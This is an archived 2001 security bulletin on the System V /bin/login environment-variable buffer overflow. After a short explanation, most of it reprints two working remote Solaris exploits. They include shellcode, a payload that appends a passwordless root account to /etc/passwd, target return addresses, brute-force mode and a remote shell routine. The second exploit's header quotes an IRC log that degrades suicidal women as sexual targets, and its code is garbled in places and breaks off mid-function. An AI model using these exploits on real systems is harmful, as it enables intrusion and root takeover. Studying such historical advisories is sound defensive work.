13th Dec 2001 [SBWID-4920]
COMMAND
login buffer overflow
SYSTEMS AFFECTED
All unixes SYSTEM V based login process
such as :
SuSE 6.1
Slackware 8.0 and lower [tested with 8.0, 4.0, 3.3]
...
Not vulnerable :
RedHat
Caldera
PROBLEM
Multiple reports confirm the existence of a buffer overflow in the
login process due to a bad parsing of environment variables, that are
set when calling login from telnet or rlogin.
Explanation by Roman Drahtmueller and \"pof\" :
=============================================
The login programs in SuSE 6.0 and 6.1 gladly pass on environment
specified as
silence login: draht variable=value Password:
up to a maximum number of 32 variables. If the args to the user name do
not contain a \"=\" character, the arguments will show up in the
environment as $L1, $L2, ... where arguments are seperated by
whitespace and \",\". An overflow does not happen, or please prove me
wrong.
Check the diff below :
/*
* This is a disaster, at best. The user may have entered extra
* environmental variables at the prompt. There are several ways
* to do this, and I just take the easy way out.
*/
if (*cp != \'\\0\') { /* process new variables */
char *nvar;
int count = 1;
for (envc = 0; envc < MAX_ENV; envc++) {
nvar = strtok(envc ? (char *)0 : cp, \" \\t,\");
if (!nvar)
break;
if (strchr(nvar, \'=\')) {
envp[envc] = nvar;
} else {
envp[envc] = xmalloc(strlen(nvar) + 32);
sprintf(envp[envc], \"L%d=%s\", count++, nvar);
}
}
set_env(envc, envp);
}
Update
======
Solaris Exploit by mat [http://monkey.org/~mat/] :
/*
* 2001.11.26
* Solaris x86 2.8
* /bin/login remote exploit
* it works for telnet
* This code so many fixed addresses,so it may not work on other systems...
* Author: mat@monkey.org (JW. Oh)
* No warranty! Use at your own risk! And don\'t ask me anything!!!
* change exec_argv3 value to execute your own command
* and use ip address instead of hostname for argv[0]
* updated 2001.11.26.
* added if you installed solaris x86 full package uncomment X86_FULL_PACKAGE
end-user
0x080654d4->0x080656ac at 0x000054d4: .got ALLOC LOAD DATA HAS_CONTENTS
0x080667b0->0x080689d4 at 0x000067b0: .bss ALLOC
full users
0x080654e0->0x080656b8 at 0x000054e0: .got ALLOC LOAD DATA HAS_CONTENTS
0x080667b8->0x080689dc at 0x000067b8: .bss ALLOC
if your system is not exploited with this exploit, try dump sections with gdb...and compare the .got,.bss section values...
*/
//#define X86_FULL_PACKAGE
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
void dump_hex(char *str,char *data,int len)
{
int i;
if(str)
{
printf(\"\\n=======%s:%d========\\n\",str,len);
}else{
printf(\"\\n=======================\\n\");
}
for(i=0;i<len;i++)
{
printf(\"x%.2x\",(data[i]&0xff));
}
printf(\"\\n-----------------------\\n\");
for(i=0;i<len;i++)
{
if(data[i]==0x00)
{
printf(\"|\");
}else
{
printf(\"%c\",data[i]);
}
}
printf(\"\\n\");
fflush(stdout);
}
int send_data(int sock,const char *send_data,int send_len)
{
int wc;
int rc;
char recv_buf[1000];
if(send_data && send_len>0)
{
wc=send(sock,send_data,send_len,0);
}
rc=recv(sock,recv_buf,sizeof(recv_buf),0);
if(rc>0)
{
dump_hex(\"recv\",recv_buf,rc);
}
}
void main(int argc,char *argv[])
{
int sock;
struct sockaddr_in address;
int i;
char send_data_1[]={
0xff,0xfd,0x03,
0xff,0xfb,0x18,
0xff,0xfb,0x1f,
0xff,0xfb,0x20,
0xff,0xfb,0x21,
0xff,0xfb,0x22,
0xff,0xfb,0x27,
0xff,0xfd,0x05,
0xff,0xfb,0x23
};
char send_data_2[]={
0xff,0xfa,0x1f,0x00,0x50,0x00,0x18,
0xff,0xf0,
0xff,0xfc,0x24
};
char send_data_3[]={
0xff,0xfd,0x01,
0xff,0xfc,0x01
};
char str_buffer[1024*30];
int str_buffer_pos=0;
char str_end[2]={0xd,0x0};
char *env_str;
int env_str_len;
char env_1[4]={0xff,0xfa,0x18,0x00};
char *terminal_name=\"xterm-debian\";
char env_2[6]={0xff,0xf0,0xff,0xfa,0x23,0x00};
char *display=\"matter:0.0\";
char env_3[7]={0xff,0xf0,0xff,0xfa,0x27,0x00,0x00};
char *display_var=\"DISPlAY\";
char display_delimiter[1]={0x01};
char *display_value=\"matter:0.0\";
char *environ_str;
int environ_str_len;
int env_cur_pos=0;
int env_num;
char env_4[2]={0xff,0xf0};
char exploit_buffer[]=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\\\\\r\\n\";
char login_buffer[]=
\"ji1=A ji2=A ji3=A ji4=A ji5=A ji6=A ji7=A ji8=A ji9=Z ji10=z\\\\\\r\\n\\
ji11=B ji12=A ji13=A ji14=b ji15=A ji16=A ji17=A ji18=A ji19=B ji20=b\\\\\\r\\n\\
ji21=C ji22=A ji23=A ji24=c ji25=A ji26=A ji27=A ji28=A ji29=C ji30=c\\\\\\r\\n\\
ji32=D ji32=A ji33=A ji34=d ji35=A ji36=A ji37=A ji38=A ji39=D ji40=d\\\\\\r\\n\\
ji41=E ji42=A ji43=A ji44=e j\";
char realfree_edx[]={0x83,0x83,0x83,0x83}; //0xdf9d6361 <realfree+81>: test $0x1,%dl¸¦ ³Ñ±â±â À§Çؼ
char login_buffer1[]=\"=A j\";
#ifdef X86_FULL_PACKAGE
char t_delete_edi_plus_0x8[]={0x2f,0x80,0x06,0x08};
#else
char t_delete_edi_plus_0x8[]={0x27,0x80,0x06,0x08};
#endif
char t_delete_edi_plus_0xa[]=\"=A j\";
char t_delete_edi_plus_0x10[]={0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};
char login_buffer1_0[]=\"=A ji48=A j \";
#ifdef X86_FULL_PACKAGE
char t_delete_edi_plus_0x20[]={0xf0,0x55,0x6,0x08};
#else
char t_delete_edi_plus_0x20[]={0xe8,0x55,0x6,0x08};
#endif
char login_buffer1_1[]=\"=\\\\\\r\\n\\
ji51=F ji52=A ji53=A ji54=f ji55=A ji56=A j=iheol i58=\";
#ifdef X86_FULL_PACKAGE
char t_delete2_param1[]={0x29,0x80,0x06,0x08};
#else
char t_delete2_param1[]={0x21,0x80,0x06,0x08};
#endif
char login_buffer1_2[]=\" 6=8\";
char link_pos[]={0x97,0xff,0xff,0xff,0xff,0xff,0xff};
//ù¹øÂ° A -1 ÀÓ
char login_buffer2[]=\"A=AB\";
// 0x080654d4->0x080656ac at 0x000054d4: .got ALLOC LOAD DATA HAS_CONTENTS
//0x80655a4 <_GLOBAL_OFFSET_TABLE_+208>: 0xdf9bd0b8 <strncpy>
//(gdb) print/x 0x80655a4 - 0x20
//$1 = 0x8065584
#ifdef X86_FULL_PACKAGE
char t_delete2_edi_plus_0x8[]={0x90,0x55,0x06,0x08}; //strncpy-0x20,ecx
#else
char t_delete2_edi_plus_0x8[]={0x84,0x55,0x06,0x08}; //strncpy-0x20,ecx
#endif
char login_buffer2_0[]=\"GHIJ\";
char t_delete2_edi_plus_0x10[]={0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};
char login_buffer2_1[]=\"OPQRSTUVWXYZ\";
//0x806810d <inputline+780>: \'A\' <repeats 82 times>, \"\\n\"
#ifdef X86_FULL_PACKAGE
char t_delete2_edi_plus_0x20[]={0x06,0x81,0x06,0x08}; //shellcode,eax
#else
char t_delete2_edi_plus_0x20[]={0xfe,0x80,0x06,0x08}; //shellcode,eax
#endif
//0x8067e01 <inputline>: \"heowahfoihewobhfoiewhiofhoewhofhoeiwhofwhofhiewwhfoiew
char login_buffer2_2[]=\"efghijklmnopqrstuvwxyz0123456789A\\\\\\r\\n\\
jk11=A jm21=C nj31=A jo41=A pi51=A jq61=A jr71=A js81=g jt91=A ju01=A jv11=A jw21=B jy\";//31=A z\";//4=A k2=A k3=A k\";
#ifdef X86_FULL_PACKAGE
//char strncpy_src[]={0xf9,0x3b,0x05,0x08};
char strncpy_src[]={0x31,0x80,0x06,0x08};
#else
char strncpy_src[]={0xf1,0x3b,0x05,0x08};
#endif
char env_buffer[]=\"hi1=A hi2=A hi3=A hi\";
char pam_input_output_eax[]={0x48,0x8a,0x06,0x08}; //0x8068a48
char env_buffer0[]=\"hi5=A hi6=A hi7=A hi\";
#ifdef X86_FULL_PACKAGE
char free_dest_buffer[]={0x31,0x80,0x06,0x08};
#else
char free_dest_buffer[]={0x29,0x80,0x06,0x08};
#endif
char env_buffer2[]=\"zi9=\";
#ifdef X86_FULL_PACKAGE
char free_dest_buffer2[]={0x31,0x80,0x06,0x08};
#else
char free_dest_buffer2[]={0x29,0x80,0x06,0x08};
#endif
char exp_buffer0[]=\"hello\";
char jmp_code[]={0xeb,0xc};
char exp_buffer1[]=\"\\\\\\r\\nhhhhhhhhhhh\";
char shellcode[]=
{
0xeb,0x1d,
0x5e, /*popl %esi*/
0x33,0xc0, /*xorl %eax,%eax*/
0x50, /*pushl %eax - ,0x0*/
#ifdef X86_FULL_PACKAGE
0x68,0x46,0x81,0x06,0x08,
0x68,0x43,0x81,0x06,0x08,
0x68,0x40,0x81,0x06,0x08,
0x68,0x38,0x81,0x06,0x08,
#else
0x68,0x3e,0x81,0x06,0x08,
0x68,0x3b,0x81,0x06,0x08,
0x68,0x38,0x81,0x06,0x08,
0x68,0x30,0x81,0x06,0x08,
#endif
#ifdef X86_FULL_PACKAGE
0xe8,0x25,0xa0,0xfe,0xff,0xff, /*call execve: 0xfffe9fee*/
#else
0xe8,0x2e,0xa0,0xfe,0xff,0xff, /*call execve: 0xfffe9fee*/
#endif
0xe8,0xde,0xff,0xff,0xff,0xff,0xff,0xff /*call again*/
};
char exec_argv0[]=\"/bin/sh\";
char exec_argv1[]=\"sh\";
char exec_argv2[]=\"-c\";
char exec_argv3[]=\"/bin/echo met:x:0:1::/:/bin/sh>>/etc/passwd;\";
//\"/bin/echo met::11652::::::>>/etc/shadow;\";
//\"/bin/finger @210.111.69.137\";
//211.59.123.155\";
char extra_buffer[]=\"hihihiifhewiohfiowehfiohweiofhiowehfoihefe\\\\\\r\\n\";
#ifdef X86_FULL_PACKAGE
char free_dest_buffer3[]={0x31,0x80,0x06,0x08};
#else
char free_dest_buffer3[]={0x29,0x80,0x06,0x08};
#endif
char env_buffer5[]=\"70=b \\\\\\r\\n\\
hr371=b hs372=\";
char pam_input_output_eax2[]={0xf5,0x3b,0x05,0x08};
char env_buffer5_0[]=\"473=\";
char pam_get_authtok_eax[]={0xf6,0x3b,0x05,0x08}; //0x8053bfa Àӽú¯Åë
char pam_get_data_esi[]={0xa8,0xb1,0x06,0x08};//0x806b1a8
display=\"\";
terminal_name=\"\";
env_str_len=
sizeof(env_1)+
strlen(terminal_name)+
sizeof(env_2)+
strlen(display)+
sizeof(env_3)+
strlen(display_var)+
sizeof(display_delimiter)+
strlen(display_value)+
sizeof(env_4);
env_str=(char *)calloc(1,env_str_len);
if(env_str)
{
env_cur_pos=0;
memcpy(env_str+env_cur_pos,env_1,sizeof(env_1));
env_cur_pos+=sizeof(env_1);
memcpy(env_str+env_cur_pos,terminal_name,strlen(terminal_name));
env_cur_pos+=strlen(terminal_name);
memcpy(env_str+env_cur_pos,env_2,sizeof(env_2));
env_cur_pos+=sizeof(env_2);
memcpy(env_str+env_cur_pos,display,strlen(display));
env_cur_pos+=strlen(display);
memcpy(env_str+env_cur_pos,env_3,sizeof(env_3));
env_cur_pos+=sizeof(env_3);
memcpy(env_str+env_cur_pos,display_var,strlen(display_var));
env_cur_pos+=strlen(display_var);
memcpy(env_str+env_cur_pos,display_delimiter,sizeof(display_delimiter));
env_cur_pos+=sizeof(display_delimiter);
memcpy(env_str+env_cur_pos,display_value,strlen(display_value));
env_cur_pos+=strlen(display_value);
memcpy(env_str+env_cur_pos,env_4,sizeof(env_4));
env_cur_pos+=sizeof(env_4);
}
/*socket operation*/
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0)
{
return;
}
address.sin_family=AF_INET;
address.sin_port=htons(23);
//inet_pton(AF_INET,argv[1],&address.sin_addr); //on some system no inet_pton exists
address.sin_addr.s_addr=inet_addr(argv[1]);
if(connect(sock,(struct sockaddr *)&address,sizeof(address))<0)
{
return;
}
send_data(sock,NULL,0);
send_data(sock,send_data_1,sizeof(send_data_1));
send_data(sock,send_data_2,sizeof(send_data_2));
//dump_hex(\"env\",env_str,env_cur_pos);
send_data(sock,env_str,env_cur_pos);
free(env_str);
send_data(sock,send_data_3,sizeof(send_data_3));
str_buffer_pos=0;
memcpy(str_buffer+str_buffer_pos,exploit_buffer,strlen(exploit_buffer));
str_buffer_pos+=strlen(exploit_buffer);
strcpy(str_buffer+str_buffer_pos,login_buffer);
str_buffer_pos+=strlen(login_buffer);
memcpy(str_buffer+str_buffer_pos,realfree_edx,sizeof(realfree_edx));
str_buffer_pos+=sizeof(realfree_edx);
strcpy(str_buffer+str_buffer_pos,login_buffer1);
str_buffer_pos+=strlen(login_buffer1);
memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x8,sizeof(t_delete_edi_plus_0x8));
str_buffer_pos+=sizeof(t_delete_edi_plus_0x8);
memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0xa,strlen(t_delete_edi_plus_0xa));
str_buffer_pos+=strlen(t_delete_edi_plus_0xa);
memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x10,sizeof(t_delete_edi_plus_0x10));
str_buffer_pos+=sizeof(t_delete_edi_plus_0x10);
strcpy(str_buffer+str_buffer_pos,login_buffer1_0);
str_buffer_pos+=strlen(login_buffer1_0);
memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x20,sizeof(t_delete_edi_plus_0x20));
str_buffer_pos+=sizeof(t_delete_edi_plus_0x20);
strcpy(str_buffer+str_buffer_pos,login_buffer1_1);
str_buffer_pos+=strlen(login_buffer1_1);
memcpy(str_buffer+str_buffer_pos,t_delete2_param1,sizeof(t_delete2_param1));
str_buffer_pos+=sizeof(t_delete2_param1);
strcpy(str_buffer+str_buffer_pos,login_buffer1_2);
str_buffer_pos+=strlen(login_buffer1_2);
memcpy(str_buffer+str_buffer_pos,link_pos,sizeof(link_pos));
str_buffer_pos+=sizeof(link_pos);
strcpy(str_buffer+str_buffer_pos,login_buffer2);
str_buffer_pos+=strlen(login_buffer2);
memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x8,sizeof(t_delete2_edi_plus_0x8));
str_buffer_pos+=sizeof(t_delete2_edi_plus_0x8);
strcpy(str_buffer+str_buffer_pos,login_buffer2_0);
str_buffer_pos+=strlen(login_buffer2_0);
memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x10,sizeof(t_delete2_edi_plus_0x10));
str_buffer_pos+=sizeof(t_delete2_edi_plus_0x10);
strcpy(str_buffer+str_buffer_pos,login_buffer2_1);
str_buffer_pos+=strlen(login_buffer2_1);
memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x20,sizeof(t_delete2_edi_plus_0x20));
str_buffer_pos+=sizeof(t_delete2_edi_plus_0x20);
strcpy(str_buffer+str_buffer_pos,login_buffer2_2);
str_buffer_pos+=strlen(login_buffer2_2);
memcpy(str_buffer+str_buffer_pos,strncpy_src,sizeof(strncpy_src));
str_buffer_pos+=sizeof(strncpy_src);
memcpy(str_buffer+str_buffer_pos,env_buffer,strlen(env_buffer));
str_buffer_pos+=strlen(env_buffer);
memcpy(str_buffer+str_buffer_pos,pam_input_output_eax,sizeof(pam_input_output_eax));
str_buffer_pos+=sizeof(pam_input_output_eax);
memcpy(str_buffer+str_buffer_pos,env_buffer,strlen(env_buffer0));
str_buffer_pos+=strlen(env_buffer0);
memcpy(str_buffer+str_buffer_pos,free_dest_buffer,sizeof(free_dest_buffer));
str_buffer_pos+=sizeof(free_dest_buffer);
memcpy(str_buffer+str_buffer_pos,env_buffer2,strlen(env_buffer2));
str_buffer_pos+=strlen(env_buffer2);
memcpy(str_buffer+str_buffer_pos,free_dest_buffer2,sizeof(free_dest_buffer2));
str_buffer_pos+=sizeof(free_dest_buffer2);
strcpy(str_buffer+str_buffer_pos,exp_buffer0);
str_buffer_pos+=strlen(exp_buffer0);
memcpy(str_buffer+str_buffer_pos,jmp_code,sizeof(jmp_code));
str_buffer_pos+=sizeof(jmp_code);
strcpy(str_buffer+str_buffer_pos,exp_buffer1);
str_buffer_pos+=strlen(exp_buffer1);
memcpy(str_buffer+str_buffer_pos,shellcode,sizeof(shellcode));
str_buffer_pos+=sizeof(shellcode);
strcpy(str_buffer+str_buffer_pos,exec_argv0);
str_buffer_pos+=strlen(exec_argv0)+1;
strcpy(str_buffer+str_buffer_pos,exec_argv1);
str_buffer_pos+=strlen(exec_argv1)+1;
strcpy(str_buffer+str_buffer_pos,exec_argv2);
str_buffer_pos+=strlen(exec_argv2)+1;
strcpy(str_buffer+str_buffer_pos,exec_argv3);
str_buffer_pos+=strlen(exec_argv3)+1;
memcpy(str_buffer+str_buffer_pos,str_end,strlen(str_end));
str_buffer_pos+=strlen(str_end);
{
char buf[100];
fgets(buf,100,stdin);
}
printf(\"sending login!\\n\");
fflush(stdout);
send_data(sock,str_buffer,str_buffer_pos);
send_data(sock,NULL,0);
printf(\"\\n\\n\\npress return to send password\\n...\");
{
char buf[100];
fgets(buf,100,stdin);
}
send_data(sock,str_buffer,strlen(str_buffer)+1);
printf(\"\\n\\n\\nwaiting for the realfree & t_delete to be called!\\n...\\n\\n\");
fflush(stdout);
sleep(30);
}
Update (19 March 2002)
======
Solaris exploit :
/*
Solaris /bin/login array mismangement exploit by morgan@sexter.com
compile:
use -DSOLARIS if your running it on a big endian system....
friendly advice to find that special someone:
[ronin(ronin@segfault.net)] think if i make \'the lonely hearts club\' at
college...
[ronin(ronin@segfault.net)] it\'ll have a psych. effect on chicks?
[msg(ronin)] you\'d get all the suicidal chicks
[ronin(ronin@segfault.net)] they have like clubs and shit... chess
clubs, sport, rollerblading, etc.
[ronin(ronin@segfault.net)] u can make ur own
[msg(ronin)] yah.. most schools do
[ronin(ronin@segfault.net)] they should be the best in bed
[ronin(ronin@segfault.net)] cuz of how vulnerable they are to suggestion
[ronin(ronin@segfault.net)] and all that angst
[msg(ronin)] always thinking
[ronin(ronin@segfault.net)] can be harnessed for sexual gratification
[msg(ronin)] your a quite a sexual trickster
[ronin(ronin@segfault.net)] plus
[ronin(ronin@segfault.net)] suicidal pain
[ronin(ronin@segfault.net)] pain bdsm
[ronin(ronin@segfault.net)] happy go lucky chicks are too content in bed
[msg(ronin)] /me wanders off slowly
[ronin(ronin@segfault.net)] but suicidal chicks like to cover the full
spectrum of pain
[ronin(ronin@segfault.net)] and pain and pleasure are one
greets:
matthew, pioneering the pinkhat movement... ryan&drago, reading telnet
rfcs for me..
ron1n, OMG! You\'re in school now!@#$! The metaray, level 6 on everquest
now!
blueboar, for his exquisite mailing list..
antisec for being so darn hackerifically ethical... keep up the faith
and arcanum the aim sexual predator...
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#define NOPS 8
struct {
char *name;
unsigned long reta;
unsigned long retl;
}targets[] {
{ \"SunOS 5.7... local\", 0xffbef85c, 0x20026fc8},
{ \"SunOS 5.7... remote\", 0xffbef8bc, 0x20026fc8},
{ \"SunOS 5,7... remote 2\", 0xffbef824, 0x20026fc8},
{ NULL, 0, 0 }
};
unsigned char shellcode[] /* dopesquad.net shellcode + 8 nop
bytes */
\"\\x10\\x80\\x00\\x03\" /* b foolabel */
\"\\x90\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o0 */
/* OVERWRITE */ \"\\x82\\x10\\x20\\x17\" /* mov 23, %g1 */
\"\\xa0\\x23\\xa0\\x10\" /* sub %sp, 16, %l0 */
\"\\xae\\x23\\x80\\x10\" /* sub %sp, %l0, %l7 */
\"\\xee\\x23\\xbf\\xec\" /* st %l7, [%sp - 20] */
\"\\x82\\x05\\xe0\\xd6\" /* add %l7, 214, %g1 */
\"\\x90\\x25\\xe0\\x0e\" /* sub %l7, 14, %o0 */
\"\\x92\\x25\\xe0\\x0e\" /* sub %l7, 14, %o1 */
\"\\x94\\x1c\\x40\\x11\" /* xor %l1, %l1, %o2 */
\"\\x96\\x1c\\x40\\x11\" /* xor %l1, %l1, %o3 */
\"\\x98\\x25\\xe0\\x0f\" /* sub %l7, 15, %o4 */
\"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
\"\\xa4\\x1a\\x80\\x08\" /* xor %o2, %o0, %l2 */
\"\\xd2\\x33\\xbf\\xf0\" /* sth %o1, [%sp - 16] */
\"\\xac\\x10\\x27\\xd1\" /* mov 2001, %l6 */
\"\\xec\\x33\\xbf\\xf2\" /* sth %l6, [%sp - 14] */
\"\\xc0\\x23\\xbf\\xf4\" /* st %g0, [%sp - 12] */
\"\\x82\\x05\\xe0\\xd8\" /* add %l7, 216, %g1 */
\"\\x90\\x1a\\xc0\\x12\" /* xor %o3, %l2, %o0 */
\"\\x92\\x1a\\xc0\\x10\" /* xor %o3, %l0, %o1 */
\"\\x94\\x1a\\xc0\\x17\" /* xor %o3, %l7, %o2 */
\"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
\"\\x82\\x05\\xe0\\xd9\" /* add %l7, 217, %g1 */
\"\\x90\\x1a\\xc0\\x12\" /* xor %o3, %l2, %o0 */
\"\\x92\\x25\\xe0\\x0b\" /* sub %l7, 11, %o1 */
\"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
\"\\x82\\x05\\xe0\\xda\" /* add %l7, 218, %g1 */
\"\\x90\\x1a\\xc0\\x12\" /* xor %o3, %l2, %o0 */
\"\\x92\\x1a\\xc0\\x10\" /* xor %o3, %l0, %o1 */
\"\\x94\\x23\\xa0\\x14\" /* sub %sp, 20, %o2 */
\"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
\"\\xa6\\x1a\\xc0\\x08\" /* xor %o3, %o0, %l3 */
\"\\x82\\x05\\xe0\\x2e\" /* add %l7, 46, %g1 */
\"\\x90\\x1a\\xc0\\x13\" /* xor %o3, %l3, %o0 */
\"\\x92\\x25\\xe0\\x07\" /* sub %l7, 7, %o1 */
\"\\x94\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o2 */
\"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
\"\\x90\\x1a\\xc0\\x13\" /* xor %o3, %l3, %o0 */
\"\\x92\\x25\\xe0\\x07\" /* sub %l7, 7, %o1 */
\"\\x94\\x02\\xe0\\x01\" /* add %o3, 1, %o2 */
\"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
\"\\x90\\x1a\\xc0\\x13\" /* xor %o3, %l3, %o0 */
\"\\x92\\x25\\xe0\\x07\" /* sub %l7, 7, %o1 */
\"\\x94\\x02\\xe0\\x02\" /* add %o3, 2, %o2 */
\"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
\"\\x90\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o0 */
\"\\x82\\x02\\xe0\\x17\" /* add %o3, 23, %g1 */
\"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
\"\\x21\\x0b\\xd8\\x9a\" /* sethi %hi(0x2f626800), %l0 */
\"\\xa0\\x14\\x21\\x6e\" /* or %l0, 0x16e, %l0 ! 0x2f62696e */
\"\\x23\\x0b\\xdc\\xda\" /* sethi %hi(0x2f736800), %l1 */
\"\\x90\\x23\\xa0\\x10\" /* sub %sp, 16, %o0 */
\"\\x92\\x23\\xa0\\x08\" /* sub %sp, 8, %o1 */
\"\\x94\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o2 */
\"\\xe0\\x3b\\xbf\\xf0\" /* std %l0, [%sp - 16] */
\"\\xd0\\x23\\xbf\\xf8\" /* st %o0, [%sp - 8] */
\"\\xc0\\x23\\xbf\\xfc\" /* st %g0, [%sp - 4] */
\"\\x82\\x02\\xe0\\x3b\" /* add %o3, 59, %g1 */
\"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
\"\\x90\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o0 */
\"\\x82\\x02\\xe0\\x01\" /* add %o3, 1, %g1 */
\"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */
;
static char nop[]=\"\\x80\\x1c\\x40\\x11\";
void usage(char **argv) {
int i;
fprintf(stderr, \"Solaris /bin/login array mismangement exploit
by morgan@sexter.com\\n\");
fprintf(stderr, \"usage: %s <host>\\n\", argv[0]);
fprintf(stderr, \"\\t-r <return address>\\n\");
fprintf(stderr, \"\\t-l <return location>\\n\");
fprintf(stderr, \"\\t-p <port>\\n\");
fprintf(stderr, \"\\t-t <target number>\\n\");
fprintf(stderr, \"\\t-e [for local /bin/login execution mode
check for +s]\\n\");
fprintf(stderr, \"\\t%s -e <options> | /bin/login\\n\", argv[0]);
fprintf(stderr, \"\\t-b brute force mode\\n\\n\");
fprintf(stderr, \"targets are...\\n\");
for(i=0; targets[i].name; i++)
fprintf(stderr, \"\\t%d) %s\\n\", i, targets[i].name);
fprintf(stderr, \"\\n\");
exit(0);
}
void die(char *error) {
fprintf(stderr, \"Error: %s\\n\", error);
fprintf(stderr, \"Program aborting..\\n\");
exit(0);
}
void shift(unsigned long *addr) {
unsigned long tmp;
tmp *addr >> 24;
tmp += *addr << 8 >> 24 << 8;
tmp += *addr << 16 >> 24 << 16;
tmp += *addr << 24;
*addr tmp;
return;
}
int write_with_iac(int fd, char *buff, int s)
{
int i;
unsigned char c=0, pt;
for (i=0; i<s; i++) {
c=(unsigned char)buff[i];
if (c=0xff) if(write(fd, &c, 1) < 0)
die(\"Write failed sending IAC\");
if(write(fd, &c, 1)<0)
die(\"Write failed sending user string\");
}
}
void send_ww(int fd, unsigned char arg, int a) {
char buf[3];
char *p=buf;
*p++ IAC;
if(a= WILL)
*p++ WILL;
else if(a= WONT)
*p++ WONT;
else {
fprintf(stderr, \"illegal send, %d is not a valid send
type\\n\", a);
exit(0);
}
*p arg;
write(fd, buf, 3);
return;
}
int connect_shell(char *host, int port)
{
struct sockaddr_in s;
int sock;
struct hostent *h;
unsigned char c;
char commands[] \"cd /; echo; uname -a; id ;echo; \"
\"echo Mommy wow.. im a hacker now; echo ;\\n\\n\";
char buf[2048];
fd_set fds;
int r;
s.sin_family AF_INET;
s.sin_port htons(port);
s.sin_addr.s_addr inet_addr(host);
if ((h=gethostbyname(host))= NULL)
{
fprintf(stderr, \"cannot resolve: %s : %s\\n\", host,
strerror(errno));
return -1;
}
memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr,
sizeof(h->h_addr));
if ( (sock socket (AF_INET, SOCK_STREAM, 0))= -1)
return sock;
if (connect (sock, (struct sockaddr *)&s, sizeof(s))= -1)
{
close (sock);
return -1;
}
write(sock, commands, strlen(commands));
for(;;)
{
FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sock, &fds);
select(255, &fds, NULL, NULL, NULL);
if(FD_ISSET(sock, &fds))
{
memset(buf, 0x0, sizeof(buf));
r read (sock, buf, sizeof(buf) - 1);
if(r <= 0)
{
fprintf(stderr, \"Connection closed.\\n\");
exit(0);
}
fprintf(stderr, \"%s\", buf);
}
if(FD_ISSET(fileno(stdin), &fds))
{
memset(buf, 0x0, sizeof(buf));
read(fileno(stdin), buf, sizeof(buf) - 1);
write(sock, buf, strlen(buf));
}
}
return sock;
}
int do_telnet_negotation(char *host, int port)
{
struct sockaddr_in s;
int fd, ret;
u_char c, buf[3];
struct hostent *h;
s.sin_family AF_INET;
s.sin_port htons(port);
s.sin_addr.s_addr inet_addr(host);
if ((h=gethostbyname(host))= NULL)
{
fprintf(stderr, \"cannot resolve: %s : %s\\n\", host,
strerror(errno));
return -1;
}
memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr,
sizeof(h->h_addr));
if ( (fd socket (AF_INET, SOCK_STREAM, 0))= -1)
return fd;
if (connect (fd, (struct sockaddr *)&s, sizeof(s))= -1)
{
close (fd);
return -1;
}
// send DONT\'s for all the DO\'s... ;)
send_ww(fd, TELOPT_TTYPE, WONT);
send_ww(fd, TELOPT_NAWS, WONT);
send_ww(fd, TELOPT_XDISPLOC, WONT);
send_ww(fd, TELOPT_NEW_ENVIRON, WONT);
send_ww(fd, TELOPT_OLD_ENVIRON, WONT);
send_ww(fd, TELOPT_BINARY, WILL);
return fd;
}
int setup_exploit(char *buffer, unsigned long retl, unsigned long reta,
int bf) {
int i,j;
char *ptr;
char buf[3000];
char blah[512];
unsigned long *a;
unsigned long strncpy_addr 0xffbef2a8;
unsigned long chunk_size 0xffffffd5;
unsigned long chunk 0xfffffff0;
unsigned long free_addr 0x20026eec;
#ifndef SOLARIS
shift(&strncpy_addr);
shift(&chunk_size);
shift(&chunk);
shift(&free_addr);
#endif
fprintf(stderr, \"Solaris /bin/login array mismangement exploit by
morgan@sexter.com\\n\");
fprintf(stderr, \"<matthew> I\'ve brought more terror to this network
then Shdwknght to a chinese food buffet.\\n\\n\");
if(!bf) {
fprintf(stderr, \"using %#x as return address\\n\", reta);
fprintf(stderr, \"using %#x as return location\\n\", retl);
}
else fprintf(stderr, \"trying return address %#x\\n\", reta);
memset(&buf[0], 0x41, 512);
// SETUP FIRST CHUNK
// size -44+1
ptr &buf[36];
memcpy(ptr, &chunk_size, 4);
// SETUP CHUNK numbah 2
retl -= 32;
reta -= 8;
#ifndef SOLARIS
shift(&retl);
shift(&reta);
#endif
ptr buf;
memcpy(ptr, &chunk, 4);
// second addr free\'d
memcpy(ptr+4, &free_addr, 4);
memcpy(ptr+8, (void *)&retl, 4);
memset(ptr+16, 0xff, 4);
memcpy(ptr+32, (void *) &reta, 4);
// fake chunk built.. setting up overflow..
